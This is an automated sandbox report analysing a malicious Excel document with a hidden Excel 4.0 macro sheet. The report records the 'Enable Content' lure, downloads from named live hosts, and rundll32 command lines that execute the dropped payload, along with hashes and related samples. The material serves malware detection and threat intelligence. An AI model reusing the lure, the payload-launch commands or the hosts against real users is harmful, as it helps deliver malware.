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Analysis Report 090811fa_by_Libranalysis

Overview

General Information

Sample Name:	090811fa_by_Libranalysis (renamed file extension from none to xls)
Analysis ID:	412373
MD5:	090811fa4bbb26277eebc82843f3d70e
SHA1:	135d07236adba8e6441c72df1b7f2c459505583c
SHA256:	11dad18ad216bbbf97891c947ef3b70acd0c5a9a0ce80a9f5c4bcaecd7275164
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Document exploit detected (UrlDownloadToFile)

Document exploit detected (process start blacklist hit)

Found Excel 4.0 Macro with suspicious formulas

Found abnormal large hidden Excel 4.0 Macro sheet

Sigma detected: Microsoft Office Product Spawning Windows Shell

Document contains embedded VBA macros

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Classification

Startup

System is w7x64

EXCEL.EXE (PID: 2480 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

rundll32.exe (PID: 2692 cmdline: rundll32 ..\ritofm.cvm,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)

rundll32.exe (PID: 2632 cmdline: rundll32 ..\ritofm.cvm1,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)

cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: rundll32 ..\ritofm.cvm,DllRegisterServer, CommandLine: rundll32 ..\ritofm.cvm,DllRegisterServer, CommandLine|base64offset|contains: ], Image: C:\Windows\System32\rundll32.exe, NewProcessName: C:\Windows\System32\rundll32.exe, OriginalFileName: C:\Windows\System32\rundll32.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 2480, ProcessCommandLine: rundll32 ..\ritofm.cvm,DllRegisterServer, ProcessId: 2692

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: 090811fa_by_Libranalysis.xls

ReversingLabs: Detection: 10%

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 192.185.39.58:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.185.32.232:443 -> 192.168.2.22:49168 version: TLS 1.2

Software Vulnerabilities:

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\rundll32.exe

Source: global traffic

DNS query: name: signifysystem.com

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 192.185.39.58:443

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 192.185.39.58:443

Source: Joe Sandbox View	IP Address: 192.185.39.58 192.185.39.58
Source: Joe Sandbox View	IP Address: 192.185.32.232 192.185.32.232

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ

Jump to behavior

Source: rundll32.exe, 00000002.00000002.2110857791.0000000001AF0000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2104381120.0000000001AB0000.00000002.00000001.sdmp

String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)

Source: unknown

DNS traffic detected: queries for: signifysystem.com

Source: E0F5C59F9FA661F6F4C50B87FEF3A15A.0.dr	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c
Source: 77EC63BDA74BD0D0E0426DC8F8008506.0.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: rundll32.exe, 00000002.00000002.2110857791.0000000001AF0000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2104381120.0000000001AB0000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000002.00000002.2110857791.0000000001AF0000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2104381120.0000000001AB0000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: rundll32.exe, 00000002.00000002.2111131035.0000000001CD7000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2104580920.0000000001C97000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000002.00000002.2111131035.0000000001CD7000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2104580920.0000000001C97000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: rundll32.exe, 00000002.00000002.2111131035.0000000001CD7000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2104580920.0000000001C97000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: rundll32.exe, 00000002.00000002.2111131035.0000000001CD7000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2104580920.0000000001C97000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: rundll32.exe, 00000002.00000002.2110857791.0000000001AF0000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2104381120.0000000001AB0000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000002.00000002.2111131035.0000000001CD7000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2104580920.0000000001C97000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: rundll32.exe, 00000002.00000002.2110857791.0000000001AF0000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2104381120.0000000001AB0000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: rundll32.exe, 00000003.00000002.2104381120.0000000001AB0000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown	Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443

Source: unknown	HTTPS traffic detected: 192.185.39.58:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.185.32.232:443 -> 192.168.2.22:49168 version: TLS 1.2

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable Editing 11 from the yellow bar above 12 13 Once You have Enable Editing, pleas ' RunDLL
Source: Document image extraction number: 6	Screenshot OCR: Enable Editing from the yellow bar above Once You have Enable Editing, please click Enable Content
Source: Document image extraction number: 6	Screenshot OCR: Enable Content from the yellow bar above WHY I CANNOT OPEN THIS DOCUMENT? You are using iOS or An

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: 090811fa_by_Libranalysis.xls	Initial sample: CALL
Source: 090811fa_by_Libranalysis.xls	Initial sample: CALL
Source: 090811fa_by_Libranalysis.xls	Initial sample: EXEC

Found abnormal large hidden Excel 4.0 Macro sheet

Show sources

Source: 090811fa_by_Libranalysis.xls

Initial sample: Sheet size: 14902

Source: 090811fa_by_Libranalysis.xls

OLE indicator, VBA macros: true

Source: rundll32.exe, 00000002.00000002.2110857791.0000000001AF0000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2104381120.0000000001AB0000.00000002.00000001.sdmp

Binary or memory string: .VBPud<_

Source: classification engine

Classification label: mal76.expl.evad.winXLS@5/11@2/2

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\3BDE0000

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRD1CF.tmp

Jump to behavior

Source: 090811fa_by_Libranalysis.xls

OLE indicator, Workbook stream: true

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\rundll32.exe rundll32 ..\ritofm.cvm,DllRegisterServer

Source: 090811fa_by_Libranalysis.xls

ReversingLabs: Detection: 10%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\ritofm.cvm,DllRegisterServer
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\ritofm.cvm1,DllRegisterServer
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\ritofm.cvm,DllRegisterServer	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\ritofm.cvm1,DllRegisterServer	Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Automated click: OK
Source: C:\Windows\System32\rundll32.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting21	Path Interception	Process Injection1	Masquerading1	OS Credential Dumping	File and Directory Discovery1	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Encrypted Channel2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution23	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	System Information Discovery2	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Rundll321	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection1	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Ingress Tool Transfer1	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Scripting21	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
090811fa_by_Libranalysis.xls	5%	Virustotal		Browse
090811fa_by_Libranalysis.xls	11%	ReversingLabs

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
signifysystem.com	0%	Virustotal		Browse
fcventasyservicios.cl	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
signifysystem.com	192.185.39.58	true	false	0%, Virustotal, Browse	unknown
fcventasyservicios.cl	192.185.32.232	true	false	0%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	rundll32.exe, 00000002.00000002.2111131035.0000000001CD7000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2104580920.0000000001C97000.00000002.00000001.sdmp	false		high
http://www.windows.com/pctv.	rundll32.exe, 00000003.00000002.2104381120.0000000001AB0000.00000002.00000001.sdmp	false		high
http://investor.msn.com	rundll32.exe, 00000002.00000002.2110857791.0000000001AF0000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2104381120.0000000001AB0000.00000002.00000001.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	rundll32.exe, 00000002.00000002.2110857791.0000000001AF0000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2104381120.0000000001AB0000.00000002.00000001.sdmp	false		high
http://www.icra.org/vocabulary/.	rundll32.exe, 00000002.00000002.2111131035.0000000001CD7000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2104580920.0000000001C97000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	rundll32.exe, 00000002.00000002.2111131035.0000000001CD7000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2104580920.0000000001C97000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.hotmail.com/oe	rundll32.exe, 00000002.00000002.2110857791.0000000001AF0000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2104381120.0000000001AB0000.00000002.00000001.sdmp	false		high
http://investor.msn.com/	rundll32.exe, 00000002.00000002.2110857791.0000000001AF0000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2104381120.0000000001AB0000.00000002.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
192.185.39.58	signifysystem.com	United States		46606	UNIFIEDLAYER-AS-1US	false
192.185.32.232	fcventasyservicios.cl	United States		46606	UNIFIEDLAYER-AS-1US	false

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	412373
Start date:	12.05.2021
Start time:	16:48:06
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	090811fa_by_Libranalysis (renamed file extension from none to xls)
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.expl.evad.winXLS@5/11@2/2
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Found warning dialog Click Ok Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Excluded IPs from analysis (whitelisted): 192.35.177.64, 205.185.216.10, 205.185.216.42 Excluded domains from analysis (whitelisted): audownload.windowsupdate.nsatc.net, au.download.windowsupdate.com.hwcdn.net, apps.digsigtrust.com, ctldl.windowsupdate.com, cds.d2s7q6s2.hwcdn.net, apps.identrust.com, au-bg-shim.trafficmanager.net Report size getting too big, too many NtDeviceIoControlFile calls found.

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
192.185.39.58	54402971_by_Libranalysis.xls	Get hash	malicious	Browse
	54402971_by_Libranalysis.xls	Get hash	malicious	Browse
	afdab907_by_Libranalysis.xls	Get hash	malicious	Browse
	afdab907_by_Libranalysis.xls	Get hash	malicious	Browse
	8100c344_by_Libranalysis.xls	Get hash	malicious	Browse
	8100c344_by_Libranalysis.xls	Get hash	malicious	Browse
	32154f4c_by_Libranalysis.xls	Get hash	malicious	Browse
	32154f4c_by_Libranalysis.xls	Get hash	malicious	Browse
	9659e9a8_by_Libranalysis.xls	Get hash	malicious	Browse
	46747509_by_Libranalysis.xls	Get hash	malicious	Browse
	46747509_by_Libranalysis.xls	Get hash	malicious	Browse
192.185.32.232	54402971_by_Libranalysis.xls	Get hash	malicious	Browse
	54402971_by_Libranalysis.xls	Get hash	malicious	Browse
	afdab907_by_Libranalysis.xls	Get hash	malicious	Browse
	afdab907_by_Libranalysis.xls	Get hash	malicious	Browse
	8100c344_by_Libranalysis.xls	Get hash	malicious	Browse
	8100c344_by_Libranalysis.xls	Get hash	malicious	Browse
	32154f4c_by_Libranalysis.xls	Get hash	malicious	Browse
	32154f4c_by_Libranalysis.xls	Get hash	malicious	Browse
	9659e9a8_by_Libranalysis.xls	Get hash	malicious	Browse
	46747509_by_Libranalysis.xls	Get hash	malicious	Browse
	46747509_by_Libranalysis.xls	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
signifysystem.com	54402971_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.39.58
	54402971_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.39.58
	afdab907_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.39.58
	afdab907_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.39.58
	8100c344_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.39.58
	8100c344_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.39.58
	32154f4c_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.39.58
	32154f4c_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.39.58
	9659e9a8_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.39.58
	46747509_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.39.58
	46747509_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.39.58
fcventasyservicios.cl	54402971_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	54402971_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	afdab907_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	afdab907_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	8100c344_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	8100c344_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	32154f4c_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	32154f4c_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	9659e9a8_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	46747509_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	46747509_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
UNIFIEDLAYER-AS-1US	54402971_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	54402971_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	afdab907_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	afdab907_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	70654 SSEBACIC EGYPT.exe	Get hash	malicious	Browse	192.254.185.244
	8100c344_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	8100c344_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	32154f4c_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	32154f4c_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	9659e9a8_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	46747509_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	46747509_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	457b22da_by_Libranalysis.exe	Get hash	malicious	Browse	192.232.222.43
	abc8a77f_by_Libranalysis.xlsx	Get hash	malicious	Browse	67.20.76.71
	Revised Invoice pdf.exe	Get hash	malicious	Browse	192.185.171.219
	DINTEC HCU24021ED.exe	Get hash	malicious	Browse	162.241.169.22
	dd9097e7_by_Libranalysis.exe	Get hash	malicious	Browse	192.185.171.219
	RFQ.exe	Get hash	malicious	Browse	192.185.129.32
	Order 122001-220 guanzo.exe	Get hash	malicious	Browse	162.241.62.63
	in.exe	Get hash	malicious	Browse	162.241.244.112
UNIFIEDLAYER-AS-1US	54402971_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	54402971_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	afdab907_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	afdab907_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	70654 SSEBACIC EGYPT.exe	Get hash	malicious	Browse	192.254.185.244
	8100c344_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	8100c344_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	32154f4c_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	32154f4c_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	9659e9a8_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	46747509_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	46747509_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	457b22da_by_Libranalysis.exe	Get hash	malicious	Browse	192.232.222.43
	abc8a77f_by_Libranalysis.xlsx	Get hash	malicious	Browse	67.20.76.71
	Revised Invoice pdf.exe	Get hash	malicious	Browse	192.185.171.219
	DINTEC HCU24021ED.exe	Get hash	malicious	Browse	162.241.169.22
	dd9097e7_by_Libranalysis.exe	Get hash	malicious	Browse	192.185.171.219
	RFQ.exe	Get hash	malicious	Browse	192.185.129.32
	Order 122001-220 guanzo.exe	Get hash	malicious	Browse	162.241.62.63
	in.exe	Get hash	malicious	Browse	162.241.244.112

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
7dcce5b76c8b17472d024758970a406b	54402971_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	afdab907_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	7bYDInO.rtf	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	8100c344_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	32154f4c_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	46747509_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	catalog-1908475637.xls	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	DHL AWB.xlsx	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	export of purchase order 7484876.xlsm	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	XM7eDjwHqp.xlsm	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	QTFsui5pLN.xlsm	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	15j1TCnOiA.xlsm	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	e8eRhf3GM0.xlsm	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	Purchase Agreement.docx	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	551f47ac_by_Libranalysis.xlsm	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	export of document 555091.xlsm	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	generated purchase order 6149057.xlsm	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	fax 4044.xlsm	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
